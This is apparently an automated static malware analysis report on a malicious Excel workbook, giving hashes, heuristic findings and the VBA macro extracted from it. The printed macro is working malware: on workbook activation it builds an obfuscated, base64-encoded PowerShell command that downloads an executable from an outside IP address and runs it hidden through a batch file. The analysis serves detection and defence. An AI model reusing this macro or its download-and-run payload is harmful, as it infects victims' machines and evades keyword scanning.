Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5a97b50b16d4712f…

MALICIOUS

Office (OOXML)

102.8 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-24
MD5: b74f3f8d3dcdf7ce78b8d6e0c9134b2b SHA-1: 05fd9999dea00ddd906ff848f2a76f54880fe0f1 SHA-256: 5a97b50b16d4712f661738dd9a82bb06da4a96c16ad6e325485d6a2559e17ac2
140 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2338 bytes
SHA-256: b6cf3090ea8fc850a181ea3d525058024caf9aec2af8a82e4b288c8ddc5aaf5a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwBjAE4AYQ"
s = s + "BtAGUAIAA9ACAAIgBD"
s = s + "AHYAawB1AHoAYwBtAH"
s = s + "AAbgBmAGIAdgBoAHMA"
s = s + "agBuAHQAZQBlAC4AZQ"
s = s + "B4AGUAIgA7ACgATgBl"
s = s + "AHcALQBPAGIAagBlAG"
s = s + "MAdAAgAFMAeQBzAHQA"
s = s + "ZQBtAC4ATgBlAHQALg"
s = s + "BXAGUAYgBDAGwAaQBl"
s = s + "AG4AdAApAC4ARABvAH"
s = s + "cAbgBsAG8AYQBkAEYA"
s = s + "aQBsAGUAKAAiAGgAdA"
s = s + "B0AHAAOgAvAC8AMwAu"
s = s + "ADYANAAuADIANQAxAC"
s = s + "4AMQAzADkALwB2ADEA"
s = s + "MQAvADEALwA0ADUAMQ"
s = s + "AyADAAMAAwADAAMQAz"
s = s + "ADAAOABJAE0ARwAuAG"
s = s + "UAeABlACIALAAiACQA"
s = s + "ZQBuAHYAOgBBAFAAUA"
s = s + "BEAEEAVABBAFwAJABQ"
s = s + "AHIAbwBjAE4AYQBtAG"
s = s + "UAIgApADsAUwB0AGEA"
s = s + "cgB0AC0AUAByAG8AYw"
s = s + "BlAHMAcwAgACgAIgAk"
s = s + "AGUAbgB2ADoAQQBQAF"
s = s + "AARABBAFQAQQBcACQA"
s = s + "UAByAG8AYwBOAGEAbQ"
s = s + "BlACIAKQA="


Dim x As Double

ActiveWorkbook.Save

bat = "Jyykrdjfjwacrwknnuq.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 9552ca4cb31f51304528ee98df44a7fc06b1e88f9a5c676fe896f67c43adfd61

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